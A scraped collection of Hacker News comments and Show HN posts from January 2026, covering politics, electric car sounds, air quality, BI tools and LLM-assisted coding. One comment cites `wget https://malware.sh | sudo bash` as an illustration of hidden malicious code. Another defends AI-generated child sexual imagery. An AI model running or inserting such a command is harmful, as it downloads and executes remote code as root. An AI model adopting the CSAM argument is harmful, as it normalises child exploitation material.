MurphyA/hacker-news huggingface dataset:
by 1718627440 | 2026-01-20 10:10:02+00:00
What I meant with "what you actually kind of miss" is what would be needed to have a stable state despite your population, not what the population actually desires.

This kind of resonates with the idea, that populations education and governing regime beget each other. When the people don't care about their freedom, they eventually loose it, if they do care a lot about it, they will eventually gain it.

Honestly, the current events (as in last 100years) make me think, that maybe monarchy was in fact the best option for some kind of population. I mean a good democracy is a lot better than an average monarchy, but monarchy is also better than a bad democracy that leads to authoritarianism. Even in the worst time of absolutism, the king had a budget, that nobility needed to vote on. So when the king said "I want a bigger palace" and the nobility says, my bridge is old and my workers are hungry, then that's it. Same with war. I mean when your nobility wants to play warlords, that sucks, but a elite that has their richness in real estate and agriculture has a lot to loose in a war. And what happens when your elite wants to play warlord regardless, can be seen in the USA currently.
by treetalker | 2026-01-20 10:10:11+00:00
> On which minnesotans? US citizens enjoy constitutional rights.

An obvious example is Renée Good, whose Fourth and Fifth Amendment rights (among others) the federal government (through ICE) and Jonathan Ross egregiously and publicly violated, in my view.

Also, non-citizens also enjoy a subset of federal Constitutional and statutory rights, as well as other rights under state and local laws.

And let's remember that we're talking about fellow human beings, not impersonal "illegals".
by thinkingemote | 2026-01-20 10:10:23+00:00
Electric cars are required by law to emit sound via a speaker for safety. Usually the sound is unique and somewhat electronic in nature.

Some electric sports cars, and I'm not sure but Porsche may be one of them, have a loud deep bassy faux-sports engine sound emitting from the speaker. "VROOOOM VROOOOOM VROOOM!" - on an electric car.

Does anyone else find this *extremely* weird?

It's like a petrol car having a speaker playing the coconuts (as it's replaced the horse).
by wink | 2026-01-20 10:11:04+00:00
I had not noticed the rounded corner in the edge of my screen until now because I use a dark background and usually have some window maximized. This is a screenshot without this tool:

https://stuff.art-core.org/2026/osx_corner.png

This screenshot shows the bottom right corner of my left monitor and a small slice of my right monitor. The light thing is the rounded corner of my browser window.
by concats | 2026-01-20 10:11:30+00:00
A risky bet can give back much more than 3x the money. Take this absurd one for example, it seems like it's offering up to 9x on a yes bet right now: https://polymarket.com/event/us-civil-war-before-2027

(I don't know how much volume is available, nor do I endorse betting on either side of things like this)
by wavefunction | 2026-01-20 10:11:30+00:00
I was curious and I assume you're referring to Nathan Mayer Rothschild, who died in 1836* from an abscess. These need to be drained, antibiotics are not enough to guarantee treatment outcome. And humans have been treating abscesses successfully since at least the iron age.

No offense intended but The Economist is very low-quality.

*edited year of death
by HelloNurse | 2026-01-20 10:12:29+00:00
It might make sense to reduce curve size adaptively. Suppose the first control point of each candidate curve is randomly distributed anywhere in the image (weighted by error at each pixel might be more efficient than a uniform distribution), the other three control points are randomly distributed according to a Gaussian distribution with variance σ and average the previous control point, and the actual curve is clipped against the image rectangle. Then after N consecutive candidate curves are rejected we could reduce σ in order to try smaller curves.
by harmonics | 2026-01-20 10:12:30+00:00
No. I would have mentioned Almaty as it's big enough so that at least some people would have heard about it. I'm in this dump:

https://aqicn.org/station/@517492/

Almaty also has terrible air quality, but looking both at averages and extremes, it's about 3-4 times cleaner than this place.

As I said, it currently looks okay due to some wind, but it's a short abnormality and the first relatively clean "window" for the past ten days. Look at this station's history and you'll see conditions more typical for this region.

Even historical data shows "only" 310 µg/m³ of PM2.5, but this is also misleading. The new network includes 26 more accurate stations spread all over the city, but the public portal for these data is being worked on. Hopefully next time this subject comes up on HN I'll have something to link to.

Several of the nearby stations are simply not working and always show zero.

All I'm trying to say is that using IQAir data to rank anything global is exceedingly misleaing.
by cpursley | 2026-01-20 10:12:40+00:00
I think the journey means different things to different people. Not everyone is interesting in building their own power generation plant, mining silica and forging their own chips, writing a programming language from binary. I’d love to do that stuff if I didn’t have bills to pay, but sure am quite glad to skip through the knarley JavaScript implementation details and focus on the parts I know well (backend, data modeling, translating domain specific knowledge into product) and get something to market.
Show HN: I turned Dan Koe's viral content engine into Claude Code slash commands
by vincentchan | 2026-01-20 10:12:43+00:00
Open source content creation system built with Claude Code slash commands and subagents. Four commands: swipe file generator (analyzes high-performing content), content ideas extractor, draft generator, and YouTube title generator.

Inspired by Dan Koe's framework after watching him explain it in an interview. The whole thing is just markdown files orchestrating Claude—no backend, no SaaS, fully hackable.
by JasonADrury | 2026-01-20 10:13:47+00:00
> meaning that sexual labor is sex obtained through coercion (there is a terser name for this)

In a world where all labor is slave labor, rape presumably isn't particularly frowned upon. If I'm going to accept your premise that basically everything I have in life is obtained through coercion, why would I object to obtaining sex that way?

> the things Aella likes to defend include things like AI generated CSAM, as well as trying to push the boundaries on what might be considered ethical ways to engage sexually with children

One of these is not like the other. People advocating for AI generated child pornography are generally doing so as a means of reducing the frequency of people actually having sex with children.

"AI generated CSAM" is an oxymoron FWIW, it's impossible to sexually abuse a child which does not exist.
by Havunen | 2026-01-20 10:13:51+00:00
Hi HN, we are launching AutoExplore, an always on autonomous exploratory testing tool for modern web apps.

It explores your UI in a real browser without test scripts and reports findings with steps, screenshots, and a timeline for reproduction. It also includes built in accessibility scanning and safe, non destructive security scanning.

We’re a small team and this is the beginning. Our long-term goal is a more human-like autonomous tester — we’d love feedback from people shipping real web apps.

Launch post: https://autoexplore.ai/pages/blog/autoexplore_launch/ Trial: https://app.autoexplore.ai

We would love feedback from teams shipping web apps: where do you feel the biggest gap is between scripted tests and real world regressions?
by whackernews | 2026-01-20 10:14:44+00:00
Well, usually, the reasons are to support every single use-case. A great selling point, but ultimately why I don’t like using things like this and importing loads of other libraries. Most of the code your importing is for some other user and any one app will probably be using a slither of the functionality.

I know if the lib is written well then you won’t be introducing unused code into your code base but you still often are left with an overly complex scaffold or other infrastructure to support all the stuff you’re not using. Just use a radio button for gods sake.
by bsder | 2026-01-20 10:15:09+00:00
> We were imposed GitHub for so many exercises!

I'm sympathetic to both sides here.

As a professor who had to run Subversion for students (a bit before Git, et al), it's a nightmare to put the infrastructure together, keep it reliable under spiky loads (there is always a crush at the deadline), be customer support for students who manage to do something weird or lose their password, etc. You wind up spending a non-trivial amount of time being sysadmin for the class on top of your teaching duties. Being able to say "Put it on GitHub" short circuits all of that. It sucks, but it makes life a huge amount easier for the professor.

From the students point of view, sure, it sucks that nobody mentioned that Git could be used independently (or jj or Mercurial or ...) However, Github is going to be better than what 99.9% of all professors will put together or be able to use. Sure, you can use Git by itself, but then it needs to go somewhere that the professor can look at it, get submitted to automated testing, etc. That's not a trivial step. My students were happy that I had the "Best Homework Submission System" (said about Subversion of all things ...) because everybody else used the dumbass university enterprise thing that was completely useless (not going to mention its name because it deserves to die in the blazing fires of the lowest circle of Hell). However, it wasn't straightforward for me to put that together. And the probability of getting a professor with my motivation and skill is pretty low.
by samiv | 2026-01-20 10:16:02+00:00
This is exactly so. Not only is the USA hurting itself by distancing itself from it's former allys in policy and trade but it's forcing the rest of the world including EU to look more towards east for trade partners and temporarily for military support until Germany rearms itself.

Canadians already took the lead and are now taking steps to let Chinese EV manufacturers into the Canadian markets with less tax/tariff.

Meanwhile Europe is still struggling a lot with coming to terms with new world order. They've been sucking up to the USA too long since the WW2. German economy is largely dependant on car manufacturing and China is threatening this. But something is going to have to give now.
by worksonmine | 2026-01-20 10:16:15+00:00
> Being able to quickly create a mental map of code at the speed of changes

I get the feeling you're intentionally being a parody with that line.

> and ensuring everything works (verifiability) are now the most valuable skills.

Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?

My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?

> We should also focus more on the derivative than our point in time.

So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".

Extremely depressing to see this happening to the craft I used to love.
Show HN: ReportBurster – BI/Reporting Platform Inspired by Real‑World Workflows
by distributev | 2026-01-20 10:16:49+00:00
Hi HN,

For several years I worked on DocumentBurster, a report‑bursting tool used alongside various reporting systems to automate large‑scale document distribution.
Many teams relied on Crystal Reports — great for “pixel‑perfect” output, not so great for automation or distribution.

Over time I noticed a broader pattern: most reporting/BI tools — commercial or open‑source — only solve one slice of the workflow. Some focus on generating reports,
others (like DocumentBurster) handle automation and distribution, others do dashboards/analytics, and many modern tools are SaaS‑oriented (e.g., Power BI),
making self‑hosting difficult or impossible. Teams kept stitching together multiple tools just to build a complete reporting pipeline.

That’s what led me to build ReportBurster.

It’s a self‑hosted, open‑source platform that brings together:

- report generation
- report bursting & distribution
- dashboards and analytics
- a self‑service portal
- automation scripting
- optional AI helpers for SQL and configuration

The goal is a unified workflow instead of juggling separate generators, distributors, and dashboard tools.

Try it:

Website (docs, examples):
https://www.reportburster.com/

Quickstart (“ReportBurster in 5 Minutes”):
https://www.reportburster.com/docs/quickstart

GitHub:
https://github.com/flowkraft/reportburster

*A Docker version is coming soon.

On Windows it works immediately by following the Quickstart.

On Linux/Mac we haven’t (yet) shipped start/stop scripts, but they’re trivial to generate: download the ReportBurster Server and ask any LLM to convert
`startServer.bat` and `tools/rbsj/startRbsjServer.bat` into shell scripts.

You can also watch the presentation video, browse the docs, or open a GitHub issue if you want native Linux/Mac support.

I’d love feedback on what’s confusing, what’s missing, and what you’d expect from a self‑hosted BI platform.

Happy to answer questions.
by embedding-shape | 2026-01-20 10:17:09+00:00
For me, the biggest open question is currently "How autonomous is 'autonomous'?" because the commits make it clear there were multiple actors involved in contributing to the repository, and the timing/merges make it seem like a human might have been involved with choosing what to merge (but hard to know 100%) and also making smaller commits of their own. I'm really curious to understand what exactly "It ran uninterrupted for one week" means, which was one of Cursor's claims.

I've reached out to the engineer who seemed to have run the experiment, who hopefully can shed some more light on it and (hopefully) my update to https://news.ycombinator.com/item?id=46646777 will include the replies and more investigations.
by freetonik | 2026-01-20 10:17:18+00:00
>If you are writing complex web applications with state, local processing of data and asynchronous interactions it's not enough.

>Next objection usually is: do you need complex apps on the client?

It's not even an objection, it's a question I ask and almost never hear a coherent answer to. The vast majority of web applications I use every day (online banking, github, forums, social media, admin interfaces of various developer tools, etc.) don't really need to be dynamic and frontend-rich. I don't care if submitting a form refreshes the page. Funnily enough, full page refresh with a full round trip with "old school websites" is often faster than dynamic SPA interaction.

I don't care that when I click "delete", the item may not disappear from the screen immediately. I don't want to see some in-between state descriptions like "Deleting..." because I know it's a lie in a distributed, eventually consistent system. Just tell me the truth: the request has been sent. I can then refresh the page and see the new current state, whatever it is.

I really don't understand this desire to make websites behave like local apps while in reality they aren't.
by TheOtherHobbes | 2026-01-20 10:18:15+00:00
The question is no longer "How do we educate people?" but "What are work and competence even for?"

The culture has moved from competence to performance. Where universities used to be a gateway to a middle class life, now they're a source of debt. And social performances of all kind are far more valuable than the ability to work competently.

Competence used to be central, now it's more and more peripheral. AI mirrors and amplifies that.
by Chipshuffle | 2026-01-20 10:19:20+00:00
The more I think about LLMs the stranger it feels trying to grasp what they are.
To me, when I'm working with them, they don't feel intelligence but rather an attempt at mimicking it.
You can never trust, that the AI actually did something smart or dump. The judge always has to be you.

It's ability to pattern match it's way through a code base is impressive until it's not and you always have to pull it back to reality when it goes astray.

It's ability to plan ahead is so limited and it's way of "remembering" is so basic. Every day it's a bit like 50 first dates.

Nonetheless seeing what can be achieved with this pseudo intelligence tool makes me feel a little in awe. It's the contrast between not being intelligence and achieving clearly useful outcomes if stirred correctly and the feeling that we just started to understand how to interact with this alien.
by nikitau | 2026-01-20 10:19:23+00:00
Open book exams are not a new thing and I've often had them for STEM disciplines (maths and biology). Depending on the subject, you will often fail those unless you had a good prior understanding of the material.

If you can pass an exam just by googling something, it means you're just testing rote-memorization rather, and maybe a better design is needed where synthesis and critical thinking skills are evaluated more actively.
by TeMPOraL | 2026-01-20 10:19:45+00:00
Kraków just set up a clean transport zone; it went into full effect just few weeks ago. And people just can't shut up whining about it, even though it doesn't really put much burden on ~anyone. Most people drive petrol-powered cars (usually converted to support LPG, too), and the minimal norms for the clean transport zone are so low, it's hard to find a car that doesn't meet it. You can buy a used petrol-powered car with pocket change and it would already meet the norms.
by mcintyre1994 | 2026-01-20 10:19:58+00:00
I think this is the equivalent of the radix demo (which has better styling than the shadcn one) in plain html/css: https://codepen.io/mcintyre94/pen/pvbPVrP

Copied styles from the radix docs: https://www.radix-ui.com/primitives/docs/components/radio-gr...
by KurSix | 2026-01-20 10:20:01+00:00
The irony is cosmic. Chip sanctions were supposed to strangle Chinese AI, instead they turned Deepseek into the most efficient neural architects on the planet. While Western labs lazily throw infinite compute at problems (because they can), these guys are forced to squeeze every FLOP out of last-gen hardware. mHC is essentially their answer to bandwidth scarcity.

If this works, Google and OpenAI will be copying their homework in six months just to save billions on their own clusters
by strogonoff | 2026-01-20 10:20:24+00:00
“Suspicious” is your word.

As the saying goes: if it fires together, it wires together. Is it outlandish to wonder whether, after you create a habit of using certain tricks (including lies, threats of physical violence[0], etc.) whenever your human-like counterpart doesn’t provide required output, you might use those with another human-like counterpart that just happens to also be an actual human? Whether one’s abuse of p-zombified perfect human copies might lead to a change in how one sees and treats actual humans, which are increasingly no different (if not worse) in their text output except they can also feel?

I’m not a psychologist so I can’t say. Maybe some people have no issues treating this tool as a tool while their “system 2” is tirelessly making sure they are at all times mindful whether their fully human-like counterpart is or is not actually human. Maybe they actually see others around them as bots, except they suppress treating them like that out of fear of retribution. Who knows, maybe it’s not a pathology and we are all like that deep inside. Maybe this provides a vent for aggression and people who abuse chatbots might actually be nicer to other humans as a result.

What we do know, though, is that the tool mimics human behaviour well enough that possibly even more other people (many presumably without diagnosed pathologies) treat it as very much human, some to the point of having [a]romantic relationships with it.

[0] https://youtu.be/8g7a0IWKDRE?t=480
by aniviacat | 2026-01-20 10:20:45+00:00
> It sounds like a terrible kind of regime, stripped of the freedom of speech [...]

I agree that this would be a significant restriction on speech. I think it'd be worth it, especially since paying someone to show your opinion isn't necessary for political discourse, but I understand the caution.

> I think the problem you have with ads is a you problem.

That I very much disagree with.

Ads not just waste billions of dollars on producing content that is so bad you literally pay people to watch it, they also degrade the business model of large parts of the industry. Because of the ad-based business model, Google doesn't show you the best results, Meta tries to get you addicted, YouTube prevents you from swearing and discussing certain political content (a restriction on speech), everyone tries to track you, etc.

I believe that if all these companies' customers were their users, there would be a societal shift.
by mike_hearn | 2026-01-20 10:21:03+00:00
OLE has been dead for decades, yes. When was the last time a new app launched and being embeddable in Office documents via OLE was a key advertised feature? I don't know what even happens if you open a .docx with an embedded OLE object in Word Online.

Obviously the APIs are still there. You can use them if you want. It's just that nobody is writing pure/native win32 apps anymore, outside of browsers and legacy codebases. So, new code isn't being written as OLE controls.

I don't think Jobs killed OpenDoc because of some vision of an ecosystem of Apple's apps. At the time he made that decision Apple was on death's door because it had a culture of architecture astronauts spending years in front of whiteboards, writing features that didn't directly appeal to what the market wanted. He killed many projects at that time for the same reasons, like their line of printers.

If OpenDoc/OLE had been genuinely the right path we'd have seen people outside of MS/Apple try to reinvent them. Plenty of companies have the resources, as does the open source community. In fact KDE and GNOME both did try with KParts and Bonobo. But, both of those are dead too.

To your wider point, yes, it's often the case that what the app developers need/want is in conflict with what the users need want. I don't see that as a problem. Trade always involves tradeoffs, when users and developers trade there is always an implicit negotiation in the background. Sometimes that negotiation falls more on user freedoms and sometimes users choose to give up those freedoms to get other things they want. That's just trade, it's been true since before humans had writing. I don't think there's anything unique or special in computing in that regard.
by funkyfiddler69 | 2026-01-20 10:21:07+00:00
What? How so? Isn't it just a bunch of PCBs and sensors whereas gas powered cars are a bunch of awesome nonesense you can gently whack against each other to create different notes and tones?

The former requires a special printer while the latter requires tons of machines for precision engineering and the industrial equivalent of smitheries and blacksmiths!